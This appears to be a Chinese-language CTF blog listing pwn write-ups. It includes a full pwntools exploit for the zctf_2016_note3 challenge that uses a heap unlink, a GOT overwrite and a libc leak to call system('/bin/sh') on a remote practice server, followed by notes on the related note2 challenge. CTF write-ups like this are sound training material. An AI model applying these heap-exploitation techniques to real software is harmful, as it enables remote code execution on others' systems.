XCTF-supermarket-WP
写在前面:这篇WP很简陋,我只写了重点
堆的利用我也开始一步步的开始“上道”了,这是一道比较简单的堆溢出,主要的难点是程序比较复杂,分析比较麻烦(毕竟我没经历过逆向的洗礼)。
…
BUU-zctf_2016_note3-WP
这道题几乎就是zctf2016_note2和hitcon2014_stkof的结合体,wiki上的解法好复杂的感觉,不是我这种菜鸡能够理解的,最后我还是用上面两个题目的结合方法来pwn的,就直接放exp吧,我觉得没什么可说的
#!/usr/bin/env python
# coding=utf-8
from pwn import *
def new_note(size,payload):
sh.sendlineafter("--->>\n",'1')
sh.sendlineafter("(less than 1024)\n",str(size))
sh.sendlineafter("content:\n",payload)
def edit(index,payload):
sh.sendlineafter("--->>\n","3")
sh.sendlineafter("id of the note:\n",str(index))
sh.sendlineafter("new content:\n",payload)
def free(index):
sh.sendlineafter("--->>\n","4")
sh.sendlineafter("note:\n",str(index))
#sh = process("./note2")
sh = remote("node3.buuoj.cn","25686")
context(log_level = 'debug')
note_ptr_array = 0x6020C8
elf = ELF("./zctf_2016_note3")
libc = ELF("./buu-libc-2.23.so")
payload = 'a' * 8 + p64(0x61) + p64(note_ptr_array - 0x18) + p64(note_ptr_array - 0x10)
payload += 'a' * 64 + p64(0x60)
new_note(0x80,payload)
new_note(0,'none')
new_note(0x80,'none')
free(1)
payload = 'a' * 16 + p64(0x90 + 0x20 - 0x10) + p64(0x90)
new_note(0,payload)
free(2)
payload = 'a' * 0x18 + p64(elf.got["free"]) + p64(elf.got["atoi"]) * 2
edit(0,payload)
edit(0,p64(elf.symbols["puts"])[:-1])
free(1)
atoi_addr = u64(sh.recv(6).ljust(8,'\x00'))
system_addr = atoi_addr - libc.symbols["atoi"] + libc.symbols["system"]
edit(2,p64(system_addr))
sh.sendlineafter("--->>\n",'/bin/sh')
sh.interactive()
说实话几乎是一样的,那一年这两题大概是pwn了一题就有另一题了吧,想到这我倒是有点好奇有没有note1
…BUU-zctf2016_note2-WP
这大概是某省的一道年代久远的赛题,也是unlink,和这道hitcon2014_stkof相比,区别大致如下:
- 多了一个可用的输出函数,可以帮助我们泄露
- 编辑操作时使用了strcpy函数,这样我们就不能在字符串中间出现'\x00'。所以虽然编辑操作是UAF的,我们也无法真正利用
- new note操作时,如果指定长度为0,就会出现整数溢出,可以输入足够长的字符串,在这里的利用会出现一个矛盾,通过溢出我们可以很容易地通过修改下一个chunk实现unlink利用,但是当我们在new note的时候下一个chunk是没有被创建的。所以我们可以考虑利用fast bin,先删除一个长度为0(指定长度为0,实际长为0x20)的chunk,在申请了下一个chunk之后再把这个chunk申请回来,就可以实现利用。
最后实现的效果仍然是修改.bss段的
…